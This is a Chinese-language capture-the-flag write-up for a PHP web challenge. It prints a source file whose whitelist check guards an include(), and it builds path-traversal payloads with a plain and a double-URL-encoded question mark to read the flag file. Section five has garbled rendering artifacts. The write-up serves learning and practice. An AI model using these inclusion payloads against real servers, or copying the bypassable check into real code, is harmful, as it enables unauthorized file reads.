一、打开题目除了一张图片什么也没有,F12看看
二、发现source.php
三、查看source.php代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {# 判断page变量是否为空,是否是字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {# 判断传入的page是否在白名单中
return true;
}
$_page = mb_substr( # 截取page?之前的字符赋给_page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {#判断_page是否在白名单中
return true;
}
$_page = urldecode($page);#对page进行URL解码并赋给_page,
$_page = mb_substr( # 截取_page?之前的字符赋给_page
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { # 判断处理后的_page在不在白名单中,因此需传入二次编码后的内容,就可以使checkfile为true.
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) #判断传入的file不能为空
&& is_string($_REQUEST['file'])#并且是字符串
&& emmm::checkFile($_REQUEST['file'])# checkfile为true
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
四、查看hint.php
/hint.php
的内容:flag not here, and flag in ffffllllaaaagggg
五、分析source.php代码
if (! empty(KaTeX parse error: Expected 'EOF', got '#' at position 20: …UEST['file']) #̲#不能为空 &…_REQUEST[‘file’]) ##是字符串
&& emmm::checkFile($_REQUEST[‘file’]) ##上面checkfile返回为true
) {
include $_REQUEST[‘file’];
exit;
} else {
echo “
<img src=“https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg” />”;
}
- 1.判断传入的file不能为空
- 2.并且是字符串
- 3.checkFile()返回true
满足以上三点才可包含文件
分析 checkfile()函数(重点,核心)
首先是设置了个白名单
第一个if,判断page变量是否为空,是否是字符串
第二个if,判断传入的page是否在白名单中
第三个if,截取page ?之前的字符赋给_page,判断_page是否在白名单中
第四个if,对page进行一次url解码并赋给_page,截取_page ?之前的字符赋给_page,判断_page是否在白名单中,因此需传入二次编码后的内容,就可以使checkfile返回true。
两种payload的情况:
不满足第一个if,满足第三个if
不满足第一个if,满足第三个if
传入?file=hint.php%253f…/…/…/…/…/…/…/…/ffffllllaaaagggg,因为服务器会自动解一次码,所以p a g e 的 值 为 h i n t . p h p page的值为hint.php%3f../../../../../../../../ffffllllaaaagggg,又一次url解码后,page的值为hint.php_page的值为hint.php?../…/…/…/…/…/…/…/ffffllllaaaagggg,然后截取问号前面的hint.php判断在白名单里返回true。
满足第二个if即为?file=source.php,? file=hint.php,即访问source.php,hint.php的情况
代码分析详见注释
构造payload分析
两种payload的情况:
payload:
file=hint.php?/../../../../../../../../ffffllllaaaagggg(第一种payload情况) file=hint.php%253f/../../../../../../../../ffffllllaaaagggg
五、得flag